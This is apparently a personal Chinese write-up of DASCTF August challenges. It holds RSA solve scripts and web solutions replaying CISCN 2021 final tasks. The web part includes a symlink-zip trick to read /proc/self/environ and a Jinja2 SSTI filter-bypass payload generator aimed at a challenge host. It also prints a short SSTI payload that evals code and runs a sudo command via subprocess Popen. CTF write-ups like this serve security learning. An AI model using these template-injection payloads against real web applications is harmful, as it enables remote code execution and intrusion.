DASCTF八月挑战赛

wp

https://blog.csdn.net/qq_42815161/article/details/120010131?utm_source=app&app_version=4.14.0&code=app_1562916241&uLinkId=usr1mkqgl919blen

https://www.wolai.com/atao/hf4yLDPzB1rq471j4HMXDe

cry

easymath

https://ctftime.org/writeup/22374

let’s play with rsa~

扣脚了！菜的！

数学这种东西必须哪纸算一算！

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/8/31 16:15
# @Author  : upload
# @File    : let's play with rsa~.py
# @Software: PyCharm


# 太菜了

# Ok,i will send two numbers to you,one of them was encoded.
#
# Encode n1:11985712262444485184555434825345413796351928643909468285431986880786470284956262121950119849884140808476069237995857032351397863031663623072308101162427195078049622252199864387552215797850246399110460628668593472726683779051477520775923529410808322910201871135752848088462166120431247268869918039032745299579649151770926436393968950790181576391156356896094145136162400296253481516621305071697348480021632110083929937419688573831750522637877506207671440229987586243509294878562109239184125489787200346474766953572466062720437286359086348511266711544185274849965480958555867527042616071941169480322622954891493970079599,
#
# And n2:1201976727303272810898742656128284722512507128248606379847071.
#
# Information that can now be made public:the public key (n,e):(14529782521120778612310172840779417096105680872021984287080524699630370909387429029380748916487955292727951286438131868092498689019884105678534384189532824483648516419183289911069897803196715887187305382972397831153185074834390218415282582678752006680255146865426397600128453547254178904273446544276241591314591684765868270565420042792283444171576054267069082783706898179711382253028732079110462209392616488054528584626689953140273048778662427940584411637050953420206083569190759104746345735529603978135356545991317543750442772400243110725223430359715936953425192986796244219646525454357245594142079174306253164134423,65537)

n2 = 1201976727303272810898742656128284722512507128248606379847071
e = 0x10001
print(e)
n= 14529782521120778612310172840779417096105680872021984287080524699630370909387429029380748916487955292727951286438131868092498689019884105678534384189532824483648516419183289911069897803196715887187305382972397831153185074834390218415282582678752006680255146865426397600128453547254178904273446544276241591314591684765868270565420042792283444171576054267069082783706898179711382253028732079110462209392616488054528584626689953140273048778662427940584411637050953420206083569190759104746345735529603978135356545991317543750442772400243110725223430359715936953425192986796244219646525454357245594142079174306253164134423
n2 = pow(n2,e,n)

c = (11985712262444485184555434825345413796351928643909468285431986880786470284956262121950119849884140808476069237995857032351397863031663623072308101162427195078049622252199864387552215797850246399110460628668593472726683779051477520775923529410808322910201871135752848088462166120431247268869918039032745299579649151770926436393968950790181576391156356896094145136162400296253481516621305071697348480021632110083929937419688573831750522637877506207671440229987586243509294878562109239184125489787200346474766953572466062720437286359086348511266711544185274849965480958555867527042616071941169480322622954891493970079599*n2)%n
print(c)

ezRSA

c=men
me=k*n+c

这题真sb！服了！ n!=p*q

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/8/31 16:15
# @Author  : upload
# @File    : let's play with rsa~.py
# @Software: PyCharm
import binascii

import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes
from gmpy2 import gcd


plain1 = 2700141984
cipher1 = 10759679735834119206684247872381598884303746733819218665716468024089574813715025717796794292904495580922784796021864241133394595218519907554803754763593031100256023641611689133204042574207027709743824562526913361142323816728909635301624996499713727282764432572520153296681008021978691037457216387102771836763435095545558126473489070053539753417465325298135638792587682909078381184432645120059702167142676865527181845871509158901060633976323906466010279274063587507427967002188597076456936047983951215782849117376626746744292485599397560673172110485051845510702924649141698757907845730588511192876978550484155213441163
plain2 = 1413201556
cipher2 = 10995798005598329322652013483079303470943288347575891857641373958808819009115427911959166396965633434406350336036948447103794730037992416689430436275646453880713203005678116489994031298314123692401486444680826730714290637908946887189284608690295818426344091595457178620737266964330336946206429642114062149651864536428518098419576936628709038058685843026718027104113489582046796123129914601102479574652551355265741268629204641050584542866922649104745636807298655486962426365810183682681665545804084521186774367514828011177473667105112431099755448809312568142581170020950379800547105052221899115240703411961546634313356
plain3 = 1518637955
cipher3 = 10775112249082023685032284840708710222424545347067006580570623627956140015557250851632057036206834789870695831731291575975781679757011264783513398363074492642964276989409619963069692364844980322991732053551388140524803319317073051973192764834833155992665041253567841924612763439880417091355952763623480031992448134813687814337915680513255316740905023483706528255463485309817662752962684807361568764132571719224690045545480664686693480709208739148214506062537848711743955630295442288749746698570368984024393557418532441101391377641378641247110666953968715693002381321766312642178295614923981742655481612282567236135825
plain4 = 512570788
cipher4 = 953401528285217041572337673989702723304501683434323120708376413450278683094946256550034547995260955579237200974162368935494369296243245853340051873453699302967254261752998603388299436250592703666651085589534239259294245985787106781875485993742807934145628746665719319202309744726625533193765036722484607310527701978968021091470695597135820747581262364561133437747976172808796489576605724753606742632681433819766198029002432199189514876984551670715632723476034014703360172635618021993728169313738950718766449106095687507243485311631185156683355988080317154954580964951343803236327373985269562746123822372131110481798
c = 11638842707278869969718695397196463480380815811674224118967306311308456368805758294449493538193241649969580162865632516118219883363527185754826811786965070596107800783899130349363227488446594210107997705432388155070692521324813897389866426347543243430435697381191880725937005233561429029807936117761896629364911694050956521746680299940326371058838124907745299445685364882278140437349888893225488010487398730595819695957247908120195513325040645204856783103899225774800567474392448791355561438435869843547241006378722352144548905297451073286790397111137855662395650831525290402694908591383015562097285209362163448618273
e = 0x10001
n = gcd(plain1**e-cipher1,plain2**e-cipher2)
p= gcd(plain3**e-cipher3,plain4**e-cipher4)

q = n//p
print(n==p*q)

fn = (p-1)*(q-1)
d = gmpy2.invert(e, fn)
m = pow(c,d,n)
print(libnum.n2s(int(m)))

misc

寒王’sblog

web

babypython[国赛总决赛复现]

国赛总决赛复现，本题由 华南师范大学 S10th 战队提供。

HCTF2018-Hide-and-seek原题！

https://www.fxizenta.design/2021/07/19/ciscn2021final/

https://inhann.top/2021/07/22/ciscn2021_easypython/

https://www.jianshu.com/p/d20168da7284

ln -s /proc/self/environ ll
zip -ry ll.zip ll

自己读/proc/self/environ 有过滤的！

读取

/sys/class/net/eth0/address

import uuid
import random

mac = "mac"
sss = mac.split(':')
sss = [int(i,16) for i in sss]
sss = [bin(i).replace('0b','').zfill(8) for i in sss]
sss = ''.join(sss)
mac = int(sss,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)

easy_python[国赛总决赛复现]

https://inhann.top/2021/07/22/ciscn2021_easypython/

这个题我都看wp都看的不上很懂！ 以为payload咱肯定构造不出来！

大佬的payload请求过长！哭了！👀

本地能测试测试还行把！学到东西了！

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/6/6 17:27
# @Author  : upload
# @File    : 111111111111.py
# @Software: PyCharm
import re
import urllib


def polish_payload(payload):
    """
    先把 "" 之间的内容分成一个个字符，拼接到一起，其中特殊字符[",","."," ","-",">","/","="] 单独生成，这些字符从 app.__doc__ 和 ().__doc__ 还有 config.__doc__ 中得到
    然后 寻找 [数字] 和 (数字)，把其中的数字替换掉
    """
    global SPECIAL
    SPECIAL = {
        '>': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
        '.': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
        ' ': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
        '=': '(app|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
        '-': '(()|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)',
        '/': '(config|attr(dict(__doc__=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)|list)|attr(dict(pop=a)|slice(dict(aa=a)|lower|list|count-dict(a=a)|lower|list|count)|first|first)(dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|lower|list|count-dict(a=a)|lower|list|count)'}

    r = re.findall('\"[^"]*\"', payload)
    while r:
        r = r[0]
        a = list(r)[1:-1]

        b = []
        for i in a:
            if i in SPECIAL.keys():
                b.append(SPECIAL[i])
            elif i in list("0123456789"):
                b.append("((dict(" + (int(i) + 1) * "a" + "=a)|lower|list|count-dict(a=a)|lower|list|count)|string)")
            else:
                b.append("(dict(" + i + "=a)|slice(1)|first|first)")

        payload = payload.replace(r, "~".join(b))
        r = re.findall('\"[^"]*\"', payload)

    r = re.findall('\(\d+\)', payload)
    while r:
        r = r[0]
        a = int(r[1:-1])
        payload = payload.replace(r, "(dict(" + (a + 1) * "a" + "=a)|lower|list|count-dict(a=a)|lower|list|count)")
        r = re.findall('\(\d+\)', payload)

    r = re.findall('\[\d+\]', payload)
    while r:
        r = r[0]
        a = int(r[1:-1])
        payload = payload.replace(r, "[dict(" + (a + 1) * "a" + "=a)|lower|list|count-dict(a=a)|lower|list|count]")
        r = re.findall('\[\d+\]', payload)

    p = urllib.parse.quote("{{" + payload + "}}")
    p1 = "{{" + payload + "}}"
    return p

proxy = '127.0.0.1:8080'
proxies = {
    'http': 'http://' + proxy,
    'https': 'https://' + proxy,
}

import requests
import html
url = "http://9468fe63-1676-42b8-9b62-d12a095de22a.node4.buuoj.cn:81/"

payload = '((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[328]|attr("__init__")|attr("__globals__"))["__builtins__"]'

# payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[538]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("os")|attr("popen")("calc")'

#payload = '(((()|attr("__class__")|attr("__mro__"))[1]|attr("__subclasses__")())[328]|attr("__init__")|attr("__globals__"))["__builtins__"]["eval"]("__import__")("imp")|attr("load_source")("oos","/usr/local/lib/python3.9/subprocess.py")'

payload = polish_payload(payload)
resp = requests.get(url=url + payload)
r = html.unescape(resp.text)
print(r)
# r = re.findall("\[.*\]",resp.text)
#
# r = html.unescape(r[0])
# r = r.split(",")
# print(r)
# for i in r:
#     if "hmac" in i:
#         print(r.index(i))
#         break

https://inhann.top/2021/07/22/ciscn2021_easypython/

https://blog.z3ratu1.cn/%5BCISCN2021%5D%E5%86%B3%E8%B5%9B.html

这里师傅还给了其它思路！

https://www.wolai.com/atao/hf4yLDPzB1rq471j4HMXDe

payload

%7B%25set%20z%3Drequest.args%25%7D%7B%25print(x.__init__.__globals__%5Bz.a%5D.eval(z.b))%25%7D?a=__builtins__&b=__import__("imp").load_source('mymod', '/usr/local/lib/python3.8/subprocess.py').Popen("sudo -u dragon_lord /usr/sbin/service ../../tmp/getflag.sh",shell=True,stdout=-1).stdout.read()

{%set z=request.args%}{%print(x.__init__.__globals__[z.a].eval(z.b))%}?a=__builtins__&b=__import__("imp").load_source('mymod', '/usr/local/lib/python3.8/subprocess.py').Popen("sudo -u dragon_lord /usr/sbin/service ../../tmp/getflag.sh",shell=True,stdout=-1).stdout.read()

https://www.wolai.com/atao/hf4yLDPzB1rq471j4HMXDe

这里给一种简短的Payload(记得URL编码)：`%7B%25set%20z%3Drequest.args%25%7D%7B%25print(x.__init__.__globals__%5Bz.a%5D.eval(z.b))%25%7D?a=__builtins__&b=__import__("imp").load_source('mymod', '/usr/local/lib/python3.8/subprocess.py').Popen("sudo -u dragon_lord /usr/sbin/service ../../tmp/getflag.sh",shell=True,stdout=-1).stdout.read()`

猜测出题人应该是想出成之前DASCTF2021羽师傅出过的一道SSTI，不过过滤不佳，对于`{%print()%}`没有进行限制，就直接非预期了。

ezj4va[国赛总决赛复现]

http://www.yang99.top/index.php/archives/68/

报错：https://blog.csdn.net/wzg_911/article/details/107950237

心态爆炸了！这也太恶心了！留下没有技术的流水！我写不进去！

不行了不行了！我要开始认真学习代码审计了！

https://www.anquanke.com/post/id/249651